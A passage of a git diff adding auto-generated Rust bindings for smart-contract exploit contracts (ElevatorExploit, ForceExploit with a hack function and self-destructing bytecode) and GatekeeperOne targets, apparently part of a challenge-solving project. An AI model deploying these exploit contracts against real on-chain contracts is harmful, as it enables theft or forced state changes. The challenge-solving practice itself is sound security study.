f.debug_tuple(::core::stringify!(ElevatorExploit)) + .field(&self.address()) + .finish() + } + } + impl ElevatorExploit { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + ELEVATOREXPLOIT_ABI.clone(), + client, + ), + ) + } + /// Constructs the general purpose `Deployer` instance based on the provided constructor arguments and sends it. + /// Returns a new instance of a deployer that returns an instance of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + ELEVATOREXPLOIT_ABI.clone(), + ELEVATOREXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `attack` (0xd018db3e) function + pub fn attack( + &self, + target: ::ethers::core::types::Address, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([208, 24, 219, 62], target) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `isLastFloor` (0x5f9a4bca) function + pub fn is_last_floor( + &self, + p0: ::ethers::core::types::U256, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([95, 154, 75, 202], p0) + .expect("method not found (this should never happen)") + } + } + impl From<::ethers::contract::Contract> + for ElevatorExploit { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the `attack` function with signature `attack(address)` and selector `0xd018db3e` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "attack", abi = "attack(address)")] + pub struct AttackCall { + pub target: ::ethers::core::types::Address, + } + ///Container type for all input parameters for the `isLastFloor` function with signature `isLastFloor(uint256)` and selector `0x5f9a4bca` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "isLastFloor", abi = "isLastFloor(uint256)")] + pub struct IsLastFloorCall(pub ::ethers::core::types::U256); + ///Container type for all of the contract's call + #[derive(Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash)] + pub enum ElevatorExploitCalls { + Attack(AttackCall), + IsLastFloor(IsLastFloorCall), + } + impl ::ethers::core::abi::AbiDecode for ElevatorExploitCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result { + let data = data.as_ref(); + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Attack(decoded)); + } + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::IsLastFloor(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for ElevatorExploitCalls { + fn encode(self) -> Vec { + match self { + Self::Attack(element) => ::ethers::core::abi::AbiEncode::encode(element), + Self::IsLastFloor(element) => { + ::ethers::core::abi::AbiEncode::encode(element) + } + } + } + } + impl ::core::fmt::Display for ElevatorExploitCalls { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + match self { + Self::Attack(element) => ::core::fmt::Display::fmt(element, f), + Self::IsLastFloor(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for ElevatorExploitCalls { + fn from(value: AttackCall) -> Self { + Self::Attack(value) + } + } + impl ::core::convert::From for ElevatorExploitCalls { + fn from(value: IsLastFloorCall) -> Self { + Self::IsLastFloor(value) + } + } + ///Container type for all return fields from the `isLastFloor` function with signature `isLastFloor(uint256)` and selector `0x5f9a4bca` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct IsLastFloorReturn(pub bool); +} diff --git a/attack/src/abi/force_exploit.rs b/attack/src/abi/force_exploit.rs new file mode 100644 index 0000000..62451e5 --- /dev/null +++ b/attack/src/abi/force_exploit.rs @@ -0,0 +1,172 @@ +pub use force_exploit::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod force_exploit { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { + inputs: ::std::vec![], + }), + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("hack"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("hack"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_target"), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + outputs: ::std::vec![], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static FORCEEXPLOIT_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R`\x004\x11a\0\x11W`\0\x80\xFD[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x163\x17\x90U`\xCF\x80a\x001`\09`\0\xF3\xFE`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80clL\x17O\x14`-W[`\0\x80\xFD[`<`86`\x04`kV[`>V[\0[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14\x80\x15`WWP`\0G\x11[`_W`\0\x80\xFD[\x80`\x01`\x01`\xA0\x1B\x03\x16\xFF[`\0` \x82\x84\x03\x12\x15`|W`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14`\x92W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 SQ\xF3\xEC[Zi\x081\xE3\xBC\xFB\x8E\xF1s\xB8\xBD'3\x01\xC4\t/\xC2V(i\xF4A\xBA\xEF5dsolcC\0\x08\x14\x003"; + /// The bytecode of the contract. + pub static FORCEEXPLOIT_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __BYTECODE, + ); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[P`\x046\x10`(W`\x005`\xE0\x1C\x80clL\x17O\x14`-W[`\0\x80\xFD[`<`86`\x04`kV[`>V[\0[`\0T`\x01`\x01`\xA0\x1B\x03\x163\x14\x80\x15`WWP`\0G\x11[`_W`\0\x80\xFD[\x80`\x01`\x01`\xA0\x1B\x03\x16\xFF[`\0` \x82\x84\x03\x12\x15`|W`\0\x80\xFD[\x815`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14`\x92W`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 SQ\xF3\xEC[Zi\x081\xE3\xBC\xFB\x8E\xF1s\xB8\xBD'3\x01\xC4\t/\xC2V(i\xF4A\xBA\xEF5dsolcC\0\x08\x14\x003"; + /// The deployed bytecode of the contract. + pub static FORCEEXPLOIT_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __DEPLOYED_BYTECODE, + ); + pub struct ForceExploit(::ethers::contract::Contract); + impl ::core::clone::Clone for ForceExploit { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for ForceExploit { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for ForceExploit { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for ForceExploit { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(ForceExploit)) + .field(&self.address()) + .finish() + } + } + impl ForceExploit { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + FORCEEXPLOIT_ABI.clone(), + client, + ), + ) + } + /// Constructs the general purpose `Deployer` instance based on the provided constructor arguments and sends it. + /// Returns a new instance of a deployer that returns an instance of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + FORCEEXPLOIT_ABI.clone(), + FORCEEXPLOIT_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `hack` (0x6c4c174f) function + pub fn hack( + &self, + target: ::ethers::core::types::Address, + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([108, 76, 23, 79], target) + .expect("method not found (this should never happen)") + } + } + impl From<::ethers::contract::Contract> + for ForceExploit { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the `hack` function with signature `hack(address)` and selector `0x6c4c174f` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "hack", abi = "hack(address)")] + pub struct HackCall { + pub target: ::ethers::core::types::Address, + } +} diff --git a/attack/src/abi/gatekeeper_one.rs b/attack/src/abi/gatekeeper_one.rs new file mode 100644 index 0000000..dffd663 --- /dev/null +++ b/attack/src/abi/gatekeeper_one.rs @@ -0,0 +1,245 @@ +pub use gatekeeper_one::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod gatekeeper_one { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("enter"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("enter"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_gateKey"), + kind: ::ethers::core::abi::ethabi::ParamType::FixedBytes( + 8usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bytes8"), + ), + }, + ], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("entrant"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("entrant"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static GATEKEEPERONE_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = ::ethers::contract::Lazy::new( + __abi, + ); + pub struct GatekeeperOne(::ethers::contract::Contract); + impl ::core::clone::Clone for GatekeeperOne { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for GatekeeperOne { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for GatekeeperOne { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for GatekeeperOne { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(GatekeeperOne)) + .field(&self.address()) + .finish() + } + } + impl GatekeeperOne { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + GATEKEEPERONE_ABI.clone(), + client, + ), + ) + } + ///Calls the contract's `enter` (0x3370204e) function + pub fn enter( + &self, + gate_key: [u8; 8], + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([51, 112, 32, 78], gate_key) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `entrant` (0x9db31d77) function + pub fn entrant( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::Address, + > { + self.0 + .method_hash([157, 179, 29, 119], ()) + .expect("method not found (this should never happen)") + } + } + impl From<::ethers::contract::Contract> + for GatekeeperOne { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the `enter` function with signature `enter(bytes8)` and selector `0x3370204e` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "enter", abi = "enter(bytes8)")] + pub struct EnterCall { + pub gate_key: [u8; 8], + } + ///Container type for all input parameters for the `entrant` function with signature `entrant()` and selector `0x9db31d77` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "entrant", abi = "entrant()")] + pub struct EntrantCall; + ///Container type for all of the contract's call + #[derive(Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash)] + pub enum GatekeeperOneCalls { + Enter(EnterCall), + Entrant(EntrantCall), + } + impl ::ethers::core::abi::AbiDecode for GatekeeperOneCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result { + let data = data.as_ref(); + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Enter(decoded)); + } + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Entrant(decoded)); + } + Err(::ethers::core::abi::Error::InvalidData.into()) + } + } + impl ::ethers::core::abi::AbiEncode for GatekeeperOneCalls { + fn encode(self) -> Vec { + match self { + Self::Enter(element) => ::ethers::core::abi::AbiEncode::encode(element), + Self::Entrant(element) => ::ethers::core::abi::AbiEncode::encode(element), + } + } + } + impl ::core::fmt::Display for GatekeeperOneCalls { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + match self { + Self::Enter(element) => ::core::fmt::Display::fmt(element, f), + Self::Entrant(element) => ::core::fmt::Display::fmt(element, f), + } + } + } + impl ::core::convert::From for GatekeeperOneCalls { + fn from(value: EnterCall) -> Self { + Self::Enter(value) + } + } + impl ::core::convert::From for GatekeeperOneCalls { + fn from(value: EntrantCall) -> Self { + Self::Entrant(value) + } + } + ///Container type for all return fields from the `enter` function with signature `enter(bytes8)` and selector `0x3370204e` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct EnterReturn(pub bool); + ///Container type for all return fields from the `entrant` function with signature `entrant()` and selector `0x9db31d77` + #[derive( + Clone, + ::ethers::contract::EthAbiType, + ::ethers::contract::EthAbiCodec, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + pub struct EntrantReturn(pub ::ethers::core::types::Address); +} diff --git a/attack/src/abi/gatekeeper_one_clone.rs b/attack/src/abi/gatekeeper_one_clone.rs new file mode 100644 index 0000000..8e4ebbc --- /dev/null +++ b/attack/src/abi/gatekeeper_one_clone.rs @@ -0,0 +1,296 @@ +pub use gatekeeper_one_clone::*; +/// This module was auto-generated with ethers-rs Abigen. +/// More information at: +#[allow( + clippy::enum_variant_names, + clippy::too_many_arguments, + clippy::upper_case_acronyms, + clippy::type_complexity, + dead_code, + non_camel_case_types, +)] +pub mod gatekeeper_one_clone { + #[allow(deprecated)] + fn __abi() -> ::ethers::core::abi::Abi { + ::ethers::core::abi::ethabi::Contract { + constructor: ::core::option::Option::None, + functions: ::core::convert::From::from([ + ( + ::std::borrow::ToOwned::to_owned("enter"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("enter"), + inputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::borrow::ToOwned::to_owned("_gateKey"), + kind: ::ethers::core::abi::ethabi::ParamType::FixedBytes( + 8usize, + ), + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bytes8"), + ), + }, + ], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Bool, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("bool"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, + }, + ], + ), + ( + ::std::borrow::ToOwned::to_owned("entrant"), + ::std::vec![ + ::ethers::core::abi::ethabi::Function { + name: ::std::borrow::ToOwned::to_owned("entrant"), + inputs: ::std::vec![], + outputs: ::std::vec![ + ::ethers::core::abi::ethabi::Param { + name: ::std::string::String::new(), + kind: ::ethers::core::abi::ethabi::ParamType::Address, + internal_type: ::core::option::Option::Some( + ::std::borrow::ToOwned::to_owned("address"), + ), + }, + ], + constant: ::core::option::Option::None, + state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, + }, + ], + ), + ]), + events: ::std::collections::BTreeMap::new(), + errors: ::std::collections::BTreeMap::new(), + receive: false, + fallback: false, + } + } + ///The parsed JSON ABI of the contract. + pub static GATEKEEPERONECLONE_ABI: ::ethers::contract::Lazy< + ::ethers::core::abi::Abi, + > = ::ethers::contract::Lazy::new(__abi); + #[rustfmt::skip] + const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x02\xAB\x80a\0 `\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c3p N\x14a\0;W\x80c\x9D\xB3\x1Dw\x14a\0cW[`\0\x80\xFD[a\0Na\0I6`\x04a\x02\"V[a\0\x8EV[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`\0Ta\0v\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\0ZV[`\x0023\x03a\0\x9CW`\0\x80\xFD[a\x1F\xFFZa\0\xAA\x91\x90a\x02SV[\x15a\0\xB4W`\0\x80\xFD[\x81\x80`\xC0\x1Ca\xFF\xFF\x16\x81`\xC0\x1Cc\xFF\xFF\xFF\xFF\x16\x14a\x01+W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`)`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01Rh part one`\xB8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[`\xC0\x81\x90\x1Cc\xFF\xFF\xFF\xFF\x81\x16\x03a\x01\x96W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`)`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01Rh part two`\xB8\x1B`d\x82\x01R`\x84\x01a\x01\"V[2a\xFF\xFF\x16\x81`\xC0\x1Cc\xFF\xFF\xFF\xFF\x16\x14a\x02\x06W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`+`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01Rj part three`\xA8\x1B`d\x82\x01R`\x84\x01a\x01\"V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x162\x17\x90U`\x01\x91PP\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x024W`\0\x80\xFD[\x815`\x01`\x01`\xC0\x1B\x03\x19\x81\x16\x81\x14a\x02LW`\0\x80\xFD[\x93\x92PPPV[`\0\x82a\x02pWcNH{q`\xE0\x1B`\0R`\x12`\x04R`$`\0\xFD[P\x06\x90V\xFE\xA2dipfsX\"\x12 \xF4eo\x01\xC2\xF1\xB7\xB0\xA3\x94\x83&W\x16`y\xD3\x8E\xFE\xB8\x86\xAB\xD17E8\xF1.\x1B\xDC\xE6\x90dsolcC\0\x08\x14\x003"; + /// The bytecode of the contract. + pub static GATEKEEPERONECLONE_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __BYTECODE, + ); + #[rustfmt::skip] + const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\x006W`\x005`\xE0\x1C\x80c3p N\x14a\0;W\x80c\x9D\xB3\x1Dw\x14a\0cW[`\0\x80\xFD[a\0Na\0I6`\x04a\x02\"V[a\0\x8EV[`@Q\x90\x15\x15\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[`\0Ta\0v\x90`\x01`\x01`\xA0\x1B\x03\x16\x81V[`@Q`\x01`\x01`\xA0\x1B\x03\x90\x91\x16\x81R` \x01a\0ZV[`\x0023\x03a\0\x9CW`\0\x80\xFD[a\x1F\xFFZa\0\xAA\x91\x90a\x02SV[\x15a\0\xB4W`\0\x80\xFD[\x81\x80`\xC0\x1Ca\xFF\xFF\x16\x81`\xC0\x1Cc\xFF\xFF\xFF\xFF\x16\x14a\x01+W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`)`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01Rh part one`\xB8\x1B`d\x82\x01R`\x84\x01[`@Q\x80\x91\x03\x90\xFD[`\xC0\x81\x90\x1Cc\xFF\xFF\xFF\xFF\x81\x16\x03a\x01\x96W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`)`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01Rh part two`\xB8\x1B`d\x82\x01R`\x84\x01a\x01\"V[2a\xFF\xFF\x16\x81`\xC0\x1Cc\xFF\xFF\xFF\xFF\x16\x14a\x02\x06W`@QbF\x1B\xCD`\xE5\x1B\x81R` `\x04\x82\x01R`+`$\x82\x01R\x7FGatekeeperOne: invalid gateThree`D\x82\x01Rj part three`\xA8\x1B`d\x82\x01R`\x84\x01a\x01\"V[`\0\x80T`\x01`\x01`\xA0\x1B\x03\x19\x162\x17\x90U`\x01\x91PP\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x024W`\0\x80\xFD[\x815`\x01`\x01`\xC0\x1B\x03\x19\x81\x16\x81\x14a\x02LW`\0\x80\xFD[\x93\x92PPPV[`\0\x82a\x02pWcNH{q`\xE0\x1B`\0R`\x12`\x04R`$`\0\xFD[P\x06\x90V\xFE\xA2dipfsX\"\x12 \xF4eo\x01\xC2\xF1\xB7\xB0\xA3\x94\x83&W\x16`y\xD3\x8E\xFE\xB8\x86\xAB\xD17E8\xF1.\x1B\xDC\xE6\x90dsolcC\0\x08\x14\x003"; + /// The deployed bytecode of the contract. + pub static GATEKEEPERONECLONE_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = ::ethers::core::types::Bytes::from_static( + __DEPLOYED_BYTECODE, + ); + pub struct GatekeeperOneClone(::ethers::contract::Contract); + impl ::core::clone::Clone for GatekeeperOneClone { + fn clone(&self) -> Self { + Self(::core::clone::Clone::clone(&self.0)) + } + } + impl ::core::ops::Deref for GatekeeperOneClone { + type Target = ::ethers::contract::Contract; + fn deref(&self) -> &Self::Target { + &self.0 + } + } + impl ::core::ops::DerefMut for GatekeeperOneClone { + fn deref_mut(&mut self) -> &mut Self::Target { + &mut self.0 + } + } + impl ::core::fmt::Debug for GatekeeperOneClone { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_tuple(::core::stringify!(GatekeeperOneClone)) + .field(&self.address()) + .finish() + } + } + impl GatekeeperOneClone { + /// Creates a new contract instance with the specified `ethers` client at + /// `address`. The contract derefs to a `ethers::Contract` object. + pub fn new>( + address: T, + client: ::std::sync::Arc, + ) -> Self { + Self( + ::ethers::contract::Contract::new( + address.into(), + GATEKEEPERONECLONE_ABI.clone(), + client, + ), + ) + } + /// Constructs the general purpose `Deployer` instance based on the provided constructor arguments and sends it. + /// Returns a new instance of a deployer that returns an instance of this contract after sending the transaction + /// + /// Notes: + /// - If there are no constructor arguments, you should pass `()` as the argument. + /// - The default poll duration is 7 seconds. + /// - The default number of confirmations is 1 block. + /// + /// + /// # Example + /// + /// Generate contract bindings with `abigen!` and deploy a new contract instance. + /// + /// *Note*: this requires a `bytecode` and `abi` object in the `greeter.json` artifact. + /// + /// ```ignore + /// # async fn deploy(client: ::std::sync::Arc) { + /// abigen!(Greeter, "../greeter.json"); + /// + /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); + /// let msg = greeter_contract.greet().call().await.unwrap(); + /// # } + /// ``` + pub fn deploy( + client: ::std::sync::Arc, + constructor_args: T, + ) -> ::core::result::Result< + ::ethers::contract::builders::ContractDeployer, + ::ethers::contract::ContractError, + > { + let factory = ::ethers::contract::ContractFactory::new( + GATEKEEPERONECLONE_ABI.clone(), + GATEKEEPERONECLONE_BYTECODE.clone().into(), + client, + ); + let deployer = factory.deploy(constructor_args)?; + let deployer = ::ethers::contract::ContractDeployer::new(deployer); + Ok(deployer) + } + ///Calls the contract's `enter` (0x3370204e) function + pub fn enter( + &self, + gate_key: [u8; 8], + ) -> ::ethers::contract::builders::ContractCall { + self.0 + .method_hash([51, 112, 32, 78], gate_key) + .expect("method not found (this should never happen)") + } + ///Calls the contract's `entrant` (0x9db31d77) function + pub fn entrant( + &self, + ) -> ::ethers::contract::builders::ContractCall< + M, + ::ethers::core::types::Address, + > { + self.0 + .method_hash([157, 179, 29, 119], ()) + .expect("method not found (this should never happen)") + } + } + impl From<::ethers::contract::Contract> + for GatekeeperOneClone { + fn from(contract: ::ethers::contract::Contract) -> Self { + Self::new(contract.address(), contract.client()) + } + } + ///Container type for all input parameters for the `enter` function with signature `enter(bytes8)` and selector `0x3370204e` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "enter", abi = "enter(bytes8)")] + pub struct EnterCall { + pub gate_key: [u8; 8], + } + ///Container type for all input parameters for the `entrant` function with signature `entrant()` and selector `0x9db31d77` + #[derive( + Clone, + ::ethers::contract::EthCall, + ::ethers::contract::EthDisplay, + Default, + Debug, + PartialEq, + Eq, + Hash + )] + #[ethcall(name = "entrant", abi = "entrant()")] + pub struct EntrantCall; + ///Container type for all of the contract's call + #[derive(Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash)] + pub enum GatekeeperOneCloneCalls { + Enter(EnterCall), + Entrant(EntrantCall), + } + impl ::ethers::core::abi::AbiDecode for GatekeeperOneCloneCalls { + fn decode( + data: impl AsRef<[u8]>, + ) -> ::core::result::Result { + let data = data.as_ref(); + if let Ok(decoded) + = ::decode(data) { + return Ok(Self::Enter(decoded)); + } + if let Ok(decoded) + = ::decode(data) 